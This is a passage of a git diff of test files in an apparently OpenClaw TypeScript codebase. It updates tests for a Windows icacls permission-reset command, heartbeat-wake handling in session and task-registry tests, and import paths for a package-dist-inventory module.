expect(display).toContain("*S-1-5-18:(OI)(CI)F"); }); - describe("formatIcaclsResetCommand — uses SID for SYSTEM", () => { - it("uses *S-1-5-18 instead of SYSTEM in reset command", () => { - const cmd = formatIcaclsResetCommand("C:\\test.json", { - isDir: false, - env: { USERNAME: "TestUser", USERDOMAIN: "PC" }, - }); - expect(cmd).toContain("*S-1-5-18:F"); - expect(cmd).not.toContain("SYSTEM:F"); + it("uses a validated SystemRoot for the executable", () => { + const command = createIcaclsResetCommand("C:\\test\\file.txt", { + isDir: false, + env: { SystemRoot: "D:\\Windows", USERNAME: "TestUser" }, }); + + expect(command?.command).toBe("D:\\Windows\\System32\\icacls.exe"); + }); + + it("returns null when no user principal can be resolved", () => { + const command = createIcaclsResetCommand("C:\\test\\file.txt", { + isDir: false, + env: { USERNAME: "", USERDOMAIN: "" }, + userInfo: () => ({ username: "" }), + }); + + expect(command).toBeNull(); }); }); diff --git a/src/security/windows-acl.ts b/src/security/windows-acl.ts index 2226364d457d..d93d9a08d845 100644 --- a/src/security/windows-acl.ts +++ b/src/security/windows-acl.ts @@ -1,4 +1,4 @@ -/** Windows ACL audit facade backed by shared infra permission helpers. */ +/** Windows ACL remediation facade backed by shared infra permission policy. */ export { createIcaclsResetCommand, formatIcaclsResetCommand, diff --git a/src/sessions/session-state-events.test.ts b/src/sessions/session-state-events.test.ts index 3e11cd10b7b7..f838c373fb6c 100644 --- a/src/sessions/session-state-events.test.ts +++ b/src/sessions/session-state-events.test.ts @@ -3,10 +3,7 @@ import { cleanupTempDirs, makeTempDir } from "../../test/helpers/temp-dir.js"; import { drainFormattedSystemEvents } from "../auto-reply/reply/session-system-events.js"; import { upsertSessionEntry } from "../config/sessions/session-accessor.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { - resetHeartbeatWakeStateForTests, - setHeartbeatWakeHandler, -} from "../infra/heartbeat-wake.js"; +import { setHeartbeatWakeHandler } from "../infra/heartbeat-wake.js"; import { enqueueSystemEvent, peekSystemEventEntries, @@ -40,6 +37,7 @@ const watcher = "agent:main:main"; const nestedWatcher = "agent:main:subagent:parent"; const child = "agent:main:subagent:child"; const cfg = {} as OpenClawConfig; +let disposeHeartbeatWakeHandler: (() => void) | undefined; function createDatabaseOptions() { const stateDir = makeTempDir(tempDirs, "openclaw-session-state-"); @@ -108,9 +106,10 @@ async function createWatcherSession( } afterEach(() => { + disposeHeartbeatWakeHandler?.(); + disposeHeartbeatWakeHandler = undefined; closeOpenClawStateDatabaseForTest(); resetSystemEventsForTest(); - resetHeartbeatWakeStateForTests(); vi.unstubAllEnvs(); vi.useRealTimers(); }); @@ -194,7 +193,10 @@ describe("session state events", () => { it("wakes main watchers but only queues notices for nested watchers", async () => { vi.useFakeTimers(); const wakes = vi.fn(async () => ({ status: "ran" as const, durationMs: 1 })); - setHeartbeatWakeHandler(wakes); + disposeHeartbeatWakeHandler = setHeartbeatWakeHandler(wakes); + // Drain notices queued by earlier tests before checking this watcher's routing. + await vi.advanceTimersByTimeAsync(300); + wakes.mockClear(); const database = createDatabaseOptions(); seedChild(database, nestedWatcher); diff --git a/src/tasks/task-executor.test.ts b/src/tasks/task-executor.test.ts index e5ca50484ec1..11fade719497 100644 --- a/src/tasks/task-executor.test.ts +++ b/src/tasks/task-executor.test.ts @@ -1,7 +1,6 @@ // Covers task executor runtime selection, lifecycle updates, and error paths. import { afterEach, describe, expect, it, vi } from "vitest"; -import { resetAgentEventsForTest, resetAgentRunContextForTest } from "../infra/agent-events.js"; -import { resetHeartbeatWakeStateForTests } from "../infra/heartbeat-wake.js"; +import { resetAgentEventsForTest } from "../infra/agent-events.js"; import { resetSystemEventsForTest } from "../infra/system-events.js"; import { withStateDirEnv } from "../test-helpers/state-dir-env.js"; import { captureEnv } from "../test-utils/env.js"; @@ -104,11 +103,9 @@ async function withTaskExecutorStateDir(run: (stateDir: string) => Promise await withStateDirEnv("openclaw-task-executor-", async ({ stateDir }) => { resetDetachedTaskLifecycleRuntimeForTests(); resetSystemEventsForTest(); - resetHeartbeatWakeStateForTests(); resetAgentEventsForTest(); resetTaskRegistryDeliveryRuntimeForTests(); resetTaskRegistryControlRuntimeForTests(); - resetAgentRunContextForTest(); resetTaskRegistryForTests({ persist: false }); resetTaskFlowRegistryForTests({ persist: false }); setTaskRegistryDeliveryRuntimeForTests({ @@ -125,11 +122,9 @@ async function withTaskExecutorStateDir(run: (stateDir: string) => Promise await run(stateDir); } finally { resetSystemEventsForTest(); - resetHeartbeatWakeStateForTests(); resetAgentEventsForTest(); resetTaskRegistryDeliveryRuntimeForTests(); resetTaskRegistryControlRuntimeForTests(); - resetAgentRunContextForTest(); resetTaskRegistryForTests({ persist: false }); resetTaskFlowRegistryForTests({ persist: false }); } @@ -216,11 +211,9 @@ describe("task-executor", () => { afterEach(() => { ORIGINAL_ENV.restore(); resetSystemEventsForTest(); - resetHeartbeatWakeStateForTests(); resetAgentEventsForTest(); resetTaskRegistryDeliveryRuntimeForTests(); resetTaskRegistryControlRuntimeForTests(); - resetAgentRunContextForTest(); resetTaskRegistryForTests({ persist: false }); resetTaskFlowRegistryForTests({ persist: false }); hoisted.sendMessageMock.mockReset(); diff --git a/src/tasks/task-registry.test.ts b/src/tasks/task-registry.test.ts index 8eeb28632983..319f1c59913b 100644 --- a/src/tasks/task-registry.test.ts +++ b/src/tasks/task-registry.test.ts @@ -6,11 +6,12 @@ import { resetCronActiveJobs } from "../cron/active-jobs.js"; import { emitAgentEvent, registerAgentRunContext, - resetAgentRunContextForTest, + resetAgentEventsForTest, } from "../infra/agent-events.js"; import { - hasPendingHeartbeatWake, - resetHeartbeatWakeStateForTests, + requestHeartbeat, + setHeartbeatWakeHandler, + type HeartbeatWakeRequest, } from "../infra/heartbeat-wake.js"; import type { SessionBindingRecord } from "../infra/outbound/session-binding-service.js"; import { peekSystemEvents, resetSystemEventsForTest } from "../infra/system-events.js"; @@ -465,9 +466,43 @@ function configureInMemoryTaskStoresForLinkValidationTests() { configureInMemoryTaskStoresForTests(); } +const HEARTBEAT_FLUSH_REASON = "task-registry-test-flush"; +let heartbeatWakeRequests: HeartbeatWakeRequest[] = []; +let clearHeartbeatWakeHandler: (() => void) | undefined; + +async function flushHeartbeatWakeRequests(): Promise { + requestHeartbeat({ + source: "other", + intent: "immediate", + reason: HEARTBEAT_FLUSH_REASON, + coalesceMs: 0, + }); + await vi.waitFor(() => { + expect(heartbeatWakeRequests.some((request) => request.reason === HEARTBEAT_FLUSH_REASON)).toBe( + true, + ); + }); +} + +function expectHeartbeatWake( + source: "background-task" | "background-task-blocked", + sessionKey: string, +) { + expect(heartbeatWakeRequests).toContainEqual( + expect.objectContaining({ source, reason: source, sessionKey }), + ); +} + describe("task-registry", () => { - beforeEach(() => { + beforeEach(async () => { resetGatewayWorkAdmission(); + heartbeatWakeRequests = []; + clearHeartbeatWakeHandler = setHeartbeatWakeHandler(async (request) => { + heartbeatWakeRequests.push(request); + return { status: "ran", durationMs: 0 }; + }); + await flushHeartbeatWakeRequests(); + heartbeatWakeRequests = []; setTaskRegistryDeliveryRuntimeForTests({ sendMessage: hoisted.sendMessageMock, }); @@ -480,12 +515,14 @@ describe("task-registry", () => { }); }); - afterEach(() => { + afterEach(async () => { resetGatewayWorkAdmission(); vi.useRealTimers(); + await flushHeartbeatWakeRequests(); + clearHeartbeatWakeHandler?.(); + clearHeartbeatWakeHandler = undefined; resetSystemEventsForTest(); - resetHeartbeatWakeStateForTests(); - resetAgentRunContextForTest(); + resetAgentEventsForTest({ preserveListeners: true }); resetCronActiveJobs(); resetTaskRegistryControlRuntimeForTests(); resetTaskRegistryDeliveryRuntimeForTests(); @@ -2026,7 +2063,8 @@ describe("task-registry", () => { expect(peekSystemEvents(ownerKey)).toEqual([ expect.stringContaining("Background task ready for review: ACP background task"), ]); - expect(hasPendingHeartbeatWake()).toBe(true); + await flushHeartbeatWakeRequests(); + expectHeartbeatWake("background-task", ownerKey); }); }); @@ -2109,7 +2147,8 @@ describe("task-registry", () => { "Background task blocked: ACP background task (run run-deli). Writable session or apply_patch authorization required.", "Task needs follow-up: ACP background task (run run-deli). Writable session or apply_patch authorization required.", ]); - expect(hasPendingHeartbeatWake()).toBe(true); + await flushHeartbeatWakeRequests(); + expectHeartbeatWake("background-task-blocked", "agent:main:main"); }); }); @@ -2178,8 +2217,9 @@ describe("task-registry", () => { "Background task blocked: ACP background task (run run-sess). Writable session or apply_patch authorization required.", "Task needs follow-up: ACP background task (run run-sess). Writable session or apply_patch authorization required.", ]); - expect(hasPendingHeartbeatWake()).toBe(true); expect(hoisted.sendMessageMock).not.toHaveBeenCalled(); + await flushHeartbeatWakeRequests(); + expectHeartbeatWake("background-task-blocked", "agent:main:main"); }); }); @@ -2270,7 +2310,8 @@ describe("task-registry", () => { expect(peekSystemEvents("agent:main:main")).toEqual([ "Task needs follow-up: ACP background task (run run-bloc). Writable session or apply_patch authorization required.", ]); - expect(hasPendingHeartbeatWake()).toBe(true); + await flushHeartbeatWakeRequests(); + expectHeartbeatWake("background-task-blocked", "agent:main:main"); }); }); @@ -2308,7 +2349,11 @@ describe("task-registry", () => { ); }); expect(hoisted.sendMessageMock).not.toHaveBeenCalled(); - expect(hasPendingHeartbeatWake()).toBe(true); + await flushHeartbeatWakeRequests(); + expectHeartbeatWake("background-task", "agent:main:main"); + expect(heartbeatWakeRequests).not.toContainEqual( + expect.objectContaining({ source: "background-task-blocked" }), + ); }); }); diff --git a/src/test-utils/session-state-cleanup.test.ts b/src/test-utils/session-state-cleanup.test.ts index f7d8f04b206f..9fc40b095130 100644 --- a/src/test-utils/session-state-cleanup.test.ts +++ b/src/test-utils/session-state-cleanup.test.ts @@ -5,10 +5,7 @@ import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { resetSessionWriteLockStateForTest } from "../agents/session-write-lock.js"; import { runExclusiveSessionStoreWrite } from "../config/sessions/store-writer.js"; -import { - clearSessionStoreCacheForTest, - getSessionStoreWriterQueueSizeForTest, -} from "../config/sessions/store.js"; +import { clearSessionStoreCacheForTest } from "../config/sessions/store.js"; import { resetFileLockStateForTest } from "../infra/file-lock.js"; import { createDeferred } from "./deferred.js"; import { @@ -73,7 +70,6 @@ describe("cleanupSessionStateForTest", () => { }); await started.promise; - expect(getSessionStoreWriterQueueSizeForTest()).toBe(1); let settled = false; const cleanupPromise = cleanupSessionStateForTest().then(() => { @@ -92,7 +88,6 @@ describe("cleanupSessionStateForTest", () => { finishDrain(); await cleanupPromise; - expect(getSessionStoreWriterQueueSizeForTest()).toBe(0); expect(drainFileLockStateMock).toHaveBeenCalledTimes(1); expect(drainSessionWriteLockStateMock).toHaveBeenCalledTimes(1); } finally { diff --git a/src/tui/tui.resolve-codex-bin.test.ts b/src/tui/tui.resolve-codex-bin.test.ts index 77fe40848cd0..68115ee6cae4 100644 --- a/src/tui/tui.resolve-codex-bin.test.ts +++ b/src/tui/tui.resolve-codex-bin.test.ts @@ -1,7 +1,7 @@ // Covers TUI Codex CLI lookup command selection. +import fs from "node:fs"; import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; -import { resetWindowsInstallRootsForTests } from "../infra/windows-install-roots.js"; import { withMockedWindowsPlatform } from "../test-utils/vitest-spies.js"; const execFileSyncMock = vi.hoisted(() => vi.fn()); @@ -20,13 +20,18 @@ afterEach(() => { vi.restoreAllMocks(); vi.unstubAllEnvs(); execFileSyncMock.mockReset(); - resetWindowsInstallRootsForTests(); }); describe("resolveCodexCliBin", () => { it("uses the trusted Windows where.exe when resolving codex", async () => { + const accessSync = fs.accessSync.bind(fs); + vi.spyOn(fs, "accessSync").mockImplementation((filePath, mode) => { + if (String(filePath).toLowerCase() === "c:\\windows\\system32\\reg.exe") { + throw new Error("registry lookup disabled for test"); + } + return accessSync(filePath, mode); + }); vi.stubEnv("SystemRoot", "D:\\Windows"); - resetWindowsInstallRootsForTests({ queryRegistryValue: () => null }); execFileSyncMock.mockReturnValue("D:\\Tools\\codex.exe\r\n"); await withMockedWindowsPlatform(async () => { diff --git a/test/helpers/config/redact-snapshot-test-hints.ts b/test/helpers/config/redact-snapshot-test-hints.ts index efee566a6c25..d7f1b818f2fb 100644 --- a/test/helpers/config/redact-snapshot-test-hints.ts +++ b/test/helpers/config/redact-snapshot-test-hints.ts @@ -1,8 +1,9 @@ -// Redaction snapshot hints list config UI hints used by redaction tests. -import type { ConfigUiHints } from "../../../src/config/schema.js"; - // Keep this fixture minimal so redaction tests exercise the hint-matching // behavior they care about without paying to build the full config schema graph. +type ConfigUiHints = NonNullable< + Parameters[2] +>; + export const redactSnapshotTestHints: ConfigUiHints = { "agents.defaults.memorySearch.remote.apiKey": { sensitive: true }, "agents.list[].memorySearch.remote.apiKey": { sensitive: true }, diff --git a/test/helpers/cron/service-regression-fixtures.ts b/test/helpers/cron/service-regression-fixtures.ts index 974b7973209b..bd4e5b13298c 100644 --- a/test/helpers/cron/service-regression-fixtures.ts +++ b/test/helpers/cron/service-regression-fixtures.ts @@ -11,7 +11,7 @@ import { } from "../../../src/cron/service.test-harness.js"; import type { CronServiceDeps } from "../../../src/cron/service/state.js"; import type { CronJob, CronJobState } from "../../../src/cron/types.js"; -import { resetAgentRunContextForTest } from "../../../src/infra/agent-events.js"; +import { resetAgentEventsForTest } from "../../../src/infra/agent-events.js"; import { resetCommandQueueStateForTest, waitForActiveTasks, @@ -48,7 +48,7 @@ export function setupCronRegressionFixtures(options?: { prefix?: string; baseTim await waitForActiveTasks(250); resetCommandQueueStateForTest(); clearSessionStoreCacheForTest(); - resetAgentRunContextForTest(); + resetAgentEventsForTest(); }); afterAll(async () => { diff --git a/test/openclaw-npm-release-check.test.ts b/test/openclaw-npm-release-check.test.ts index 86d799613b86..c48ee0968a50 100644 --- a/test/openclaw-npm-release-check.test.ts +++ b/test/openclaw-npm-release-check.test.ts @@ -4,6 +4,10 @@ import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "nod import { tmpdir } from "node:os"; import { delimiter, join } from "node:path"; import { describe, expect, it } from "vitest"; +import { + LOCAL_BUILD_METADATA_DIST_PATHS, + PACKAGE_DIST_INVENTORY_RELATIVE_PATH, +} from "../scripts/lib/package-dist-inventory.ts"; import { WORKSPACE_TEMPLATE_PACK_PATHS } from "../scripts/lib/workspace-bootstrap-smoke.mjs"; import { compareReleaseVersions, @@ -23,10 +27,6 @@ import { runNpmReleaseCheckCommand, shouldSkipPackedTarballValidation, } from "../scripts/openclaw-npm-release-check.ts"; -import { - LOCAL_BUILD_METADATA_DIST_PATHS, - PACKAGE_DIST_INVENTORY_RELATIVE_PATH, -} from "../src/infra/package-dist-inventory.ts"; const REQUIRED_PACKED_PATHS = [ "npm-shrinkwrap.json", diff --git a/test/release-check.test.ts b/test/release-check.test.ts index 67e801375af5..ad087427bc6e 100644 --- a/test/release-check.test.ts +++ b/test/release-check.test.ts @@ -5,6 +5,10 @@ import { dirname, join, resolve as resolvePath, win32 } from "node:path"; import { bundledDistPluginFile, bundledPluginFile } from "openclaw/plugin-sdk/test-fixtures"; import { describe, expect, it } from "vitest"; import { listBundledPluginPackArtifacts } from "../scripts/lib/bundled-plugin-build-entries.mjs"; +import { + LOCAL_BUILD_METADATA_DIST_PATHS, + PACKAGE_DIST_INVENTORY_RELATIVE_PATH, +} from "../scripts/lib/package-dist-inventory.ts"; import { listPluginSdkDistArtifacts, listPrivateLocalOnlyPluginSdkDistArtifacts, @@ -39,10 +43,6 @@ import { runReleaseCheckCommand, } from "../scripts/release-check.ts"; import { COMPLETION_SKIP_PLUGIN_COMMANDS_ENV } from "../src/cli/completion-runtime.ts"; -import { - LOCAL_BUILD_METADATA_DIST_PATHS, - PACKAGE_DIST_INVENTORY_RELATIVE_PATH, -} from "../src/infra/package-dist-inventory.ts"; import { withEnv } from "../src/test-utils/env.js"; function makeItem(shortVersion: string, sparkleVersion: string, channel?: string): string { diff --git a/test/scripts/postinstall-bundled-plugins.test.ts b/test/scripts/postinstall-bundled-plugins.test.ts index 4f4f6e558667..36298c931a3c 100644 --- a/test/scripts/postinstall-bundled-plugins.test.ts +++ b/test/scripts/postinstall-bundled-plugins.test.ts @@ -4,6 +4,7 @@ import fs from "node:fs/promises"; import { tmpdir } from "node:os"; import path from "node:path"; import { describe, expect, it, vi } from "vitest"; +import { writePackageDistInventory } from "../../scripts/lib/package-dist-inventory.ts"; import { applyBaileysEncryptedStreamFinishHotfix, collectLegacyPluginRuntimeDepsStateRoots, @@ -17,7 +18,6 @@ import { runBundledPluginPostinstall, runPluginRegistryPostinstallMigration, } from "../../scripts/postinstall-bundled-plugins.mjs"; -import { writePackageDistInventory } from "../../src/infra/package-dist-inventory.ts"; import { createScriptTestHarness } from "./test-helpers.js"; const { createTempDirAsync } = createScriptTestHarness();